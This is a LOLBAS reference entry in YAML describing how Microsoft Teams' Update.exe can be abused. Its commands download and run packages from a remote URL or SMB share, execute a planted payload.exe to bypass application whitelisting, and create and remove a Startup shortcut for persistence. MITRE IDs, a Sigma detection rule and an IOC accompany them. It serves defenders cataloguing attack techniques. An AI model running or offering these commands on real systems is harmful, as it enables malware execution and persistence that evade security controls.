LOLBAS/yml/OtherMSBinaries/Update.yml

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---
Name: Update.exe
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Description: Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
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Author: 'Oddvar Moe'
Created: 2019-06-26
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Commands:
- Command: Update.exe --download [url to package]
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Description: The above binary will go to url and look for RELEASES file and download the nuget package.
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Usecase: Download binary
Category: Download
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Privileges: User
MitreID: T1218
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OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --update=[url to package]
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Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
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Usecase: Download and execute binary
Category: AWL Bypass
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Privileges: User
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MitreID: T1218
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OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --update=[url to package]
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Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
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Usecase: Download and execute binary
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Category: Execute
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Privileges: User
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MitreID: T1218
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OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --update=\\remoteserver\payloadFolder
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Usecase: Download and execute binary
Category: AWL Bypass
Privileges: User
MitreID: T1218
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --update=\\remoteserver\payloadFolder
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Usecase: Download and execute binary
Category: Execute
Privileges: User
MitreID: T1218
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --updateRollback=[url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: AWL Bypass
Privileges: User
MitreID: T1218
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --updateRollback=[url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: Execute
Privileges: User
MitreID: T1218
OperatingSystem: Windows 7 and up with Microsoft Teams installed
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- Command: Update.exe --processStart payload.exe --process-start-args "whatever args"
Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Usecase: Application Whitelisting Bypass
Category: AWL Bypass
Privileges: User
MitreID: T1218
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --updateRollback=\\remoteserver\payloadFolder
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Usecase: Download and execute binary
Category: AWL Bypass
Privileges: User
MitreID: T1218
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --updateRollback=\\remoteserver\payloadFolder
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Usecase: Download and execute binary
Category: Execute
Privileges: User
MitreID: T1218
OperatingSystem: Windows 7 and up with Microsoft Teams installed
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- Command: Update.exe --processStart payload.exe --process-start-args "whatever args"
Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Usecase: Execute binary
Category: Execute
Privileges: User
MitreID: T1218
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --createShortcut=payload.exe -l=Startup
Description: Copy your payload into "%localappdata%\Microsoft\Teams\current\". Then run the command. Update.exe will create a payload.exe shortcut in "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup". Then payload will run on every login of the user who runs it.
Usecase: Execute binary
Category: Execute
Privileges: User
MitreID: T1547
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --removeShortcut=payload.exe -l=Startup
Description: Run the command to remove the shortcut created in the "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" directory you created with the LolBinExecution "--createShortcut" described on this page.
Usecase: Execute binary
Category: Execute
Privileges: User
MitreID: T1070
OperatingSystem: Windows 7 and up with Microsoft Teams installed
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Full_Path:
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- Path: '%localappdata%\Microsoft\Teams\update.exe'
Code_Sample:
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- Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_squirrel_lolbin.yml
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- IOC: Update.exe spawned an unknown process
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Resources:
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- Link: https://www.youtube.com/watch?v=rOP3hnkj7ls
- Link: https://twitter.com/reegun21/status/1144182772623269889
- Link: https://twitter.com/MrUn1k0d3r/status/1143928885211537408
- Link: https://twitter.com/reegun21/status/1291005287034281990
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- Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
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- Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
- Link: https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
- Link: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/
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Acknowledgement:
- Person: Reegun Richard Jayapaul (SpiderLabs, Trustwave)
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Handle: '@reegun21'
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- Person: Mr.Un1k0d3r
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Handle: '@MrUn1k0d3r'
- Person: Adam
Handle: '@Hexacorn'
- Person: Jesus Galvez
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---